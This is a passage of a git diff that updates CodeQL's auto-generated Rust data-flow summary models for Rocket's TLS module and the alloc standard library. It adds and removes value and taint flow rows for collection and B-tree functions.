a/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml @@ -4,4 +4,6 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo::tls", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::tls", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo::tls", "::try_launch", "Argument[self].Field[crate::redirector::Redirector::port]", "Argument[0].Field[crate::config::config::Config::port]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml b/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml index 2b91ef42107..753581c7642 100644 --- a/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml @@ -5,14 +5,18 @@ extensions: extensible: summaryModel data: - ["lang:alloc", "<&&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference.Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::btree::map::BTreeMap as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::head]", "ReturnValue.Field[crate::collections::linked_list::Iter::head]", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[crate::collections::linked_list::Iter::len]", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::Iter::tail]", "value", "dfc-generated"] - ["lang:alloc", "<&crate::string::String as crate::str::pattern::Pattern>::as_utf8_pattern", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::StringPattern(0)]", "value", "dfc-generated"] - - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference.Field[crate::string::String::vec]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference.Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::btree::map::BTreeMap as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::IterMut::length]", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::head]", "ReturnValue.Field[crate::collections::linked_list::IterMut::head]", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[crate::collections::linked_list::IterMut::len]", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::IterMut::tail]", "value", "dfc-generated"] + - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "<_ as crate::borrow::ToOwned>::clone_into", "Argument[self].Reference", "Argument[0].Reference", "value", "dfc-generated"] - - ["lang:alloc", "<_ as crate::borrow::ToOwned>::clone_into", "Argument[self]", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "<_ as crate::borrow::ToOwned>::to_owned", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "<_ as crate::borrow::ToOwned>::to_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "<_ as crate::vec::spec_from_elem::SpecFromElem>::from_elem", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::borrow::Cow::Borrowed(0)]", "ReturnValue.Field[crate::borrow::Cow::Borrowed(0)]", "value", "dfc-generated"] @@ -29,9 +33,10 @@ extensions: - ["lang:alloc", "::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] - - ["lang:alloc", "::clone_from", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::try_from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::nth", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -45,9 +50,11 @@ extensions: - ["lang:alloc", "::from_non_null_in", "Argument[1]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_in", "Argument[1]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::into_inner", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::into_pin", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::into_pin", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:alloc", "::new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] + - ["lang:alloc", "::try_new_in", "Argument[1]", "ReturnValue.Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::try_new_uninit_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::try_new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::boxed::Box(1)]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -70,64 +77,63 @@ extensions: - ["lang:alloc", "::as_bytes", "Argument[self].Field[crate::bstr::ByteString(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Field[crate::collections::TryReserveError::kind]", "value", "dfc-generated"] - ["lang:alloc", "::kind", "Argument[self].Field[crate::collections::TryReserveError::kind].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::kind", "Argument[self].Field[crate::collections::TryReserveError::kind]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:alloc", "::kind", "Argument[self].Field[crate::collections::TryReserveError::kind]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Reference", "ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data]", "ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data]", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0]", "ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data]", "value", "dfc-generated"] + - ["lang:alloc", "::drain", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::collections::binary_heap::Drain::iter].Field[crate::vec::drain::Drain::vec]", "value", "dfc-generated"] - ["lang:alloc", "::drain_sorted", "Argument[self]", "ReturnValue.Field[crate::collections::binary_heap::DrainSorted::inner]", "value", "dfc-generated"] - ["lang:alloc", "::into_iter_sorted", "Argument[self]", "ReturnValue.Field[crate::collections::binary_heap::IntoIterSorted::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Field[crate::vec::Vec::len]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::peek_mut", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::binary_heap::PeekMut::heap]", "value", "dfc-generated"] - ["lang:alloc", "::as_inner", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_into_iter", "Argument[self].Field[crate::collections::binary_heap::IntoIter::iter]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::allocator", "Argument[self].Field[crate::collections::binary_heap::IntoIter::iter].Field[crate::vec::into_iter::IntoIter::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::binary_heap::Iter::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::new", "Argument[0].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[1].Field[crate::collections::btree::borrow::DormantMutRef::ptr]", "value", "dfc-generated"] + - ["lang:alloc", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter].Field[crate::iter::adapters::peekable::Peekable::iter]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:alloc", "::bulk_build_from_sorted_iter", "Argument[1]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:alloc", "::entry", "Argument[0]", "ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)].Field[crate::collections::btree::map::entry::VacantEntry::key]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[0]", "ReturnValue.Field[crate::collections::btree::map::ExtractIf::pred]", "value", "dfc-generated"] - - ["lang:alloc", "::extract_if_inner", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["lang:alloc", "::extract_if_inner", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::first_key_value", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::get", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::get_key_value", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::get_mut", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::get_or_insert_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:alloc", "::iter", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] - ["lang:alloc", "::iter_mut", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::IterMut::length]", "value", "dfc-generated"] + - ["lang:alloc", "::keys", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] + - ["lang:alloc", "::last_key_value", "Argument[self].Field[crate::collections::btree::map::BTreeMap::root].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::lower_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::lower_bound_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Reference", "value", "dfc-generated"] - - ["lang:alloc", "::split_off", "Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc]", "ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::try_insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::btree::map::entry::OccupiedError::value]", "value", "dfc-generated"] - ["lang:alloc", "::upper_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::upper_bound_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::values", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] + - ["lang:alloc", "::values_mut", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::ValuesMut::inner].Field[crate::collections::btree::map::IterMut::length]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::btree::map::Cursor::current]", "ReturnValue.Field[crate::collections::btree::map::Cursor::current]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference.Field[crate::collections::btree::map::Cursor::root]", "ReturnValue.Field[crate::collections::btree::map::Cursor::root]", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_next", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::peek_prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::with_mutable_key", "Argument[self].Field[crate::collections::btree::map::CursorMut::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::prev", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::remove_next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::remove_prev", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::next", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::peek_next", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::peek_prev", "Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:alloc", "::peek", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::ExtractIfInner::length].Reference", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:alloc", "::iter", "Argument[self].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Iter::range].Reference", "ReturnValue.Field[crate::collections::btree::map::Iter::range]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Iter::range]", "ReturnValue.Field[crate::collections::btree::map::Iter::range]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::IntoKeys::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoKeys::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoKeys::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::IntoValues::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoValues::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::IntoValues::inner].Field[crate::collections::btree::map::IntoIter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -139,8 +145,7 @@ extensions: - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Range::inner].Reference", "ReturnValue.Field[crate::collections::btree::map::Range::inner]", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self].Field[crate::collections::btree::map::Range::inner]", "ReturnValue.Field[crate::collections::btree::map::Range::inner]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::size_hint", "Argument[self].Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length]", "ReturnValue.Field[0]", "value", "dfc-generated"] @@ -175,13 +180,21 @@ extensions: - ["lang:alloc", "::steal_right", "Argument[self].Field[crate::collections::btree::node::BalancingContext::left_child]", "ReturnValue.Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::awaken", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::awaken", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::awaken", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::cast_to_leaf_unchecked", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::cast_to_leaf_unchecked", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::cast_to_leaf_unchecked", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::consider_for_balancing", "Argument[self]", "ReturnValue.Field[crate::collections::btree::node::BalancingContext::parent]", "value", "dfc-generated"] - ["lang:alloc", "::descend", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::dormant", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::dormant", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::dormant", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::force", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] - ["lang:alloc", "::force", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::forget_node_type", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::idx", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::into_node", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::left_edge", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] @@ -196,6 +209,10 @@ extensions: - ["lang:alloc", "::reborrow", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] - ["lang:alloc", "::reborrow", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] - ["lang:alloc", "::reborrow_mut", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::reborrow_mut", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height]", "value", "dfc-generated"] + - ["lang:alloc", "::reborrow_mut", "Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node]", "value", "dfc-generated"] + - ["lang:alloc", "::remove", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[1].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] + - ["lang:alloc", "::remove", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue.Field[1].Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::right_edge", "Argument[self].Field[crate::collections::btree::node::Handle::node]", "ReturnValue.Field[crate::collections::btree::node::Handle::node]", "value", "dfc-generated"] - ["lang:alloc", "::right_kv", "Argument[self].Field[crate::collections::btree::node::Handle::idx]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::collections::btree::node::Handle::idx]", "value", "dfc-generated"] - ["lang:alloc", "::right_kv", "Argument[self].Field[crate::collections::btree::node::Handle::node]", 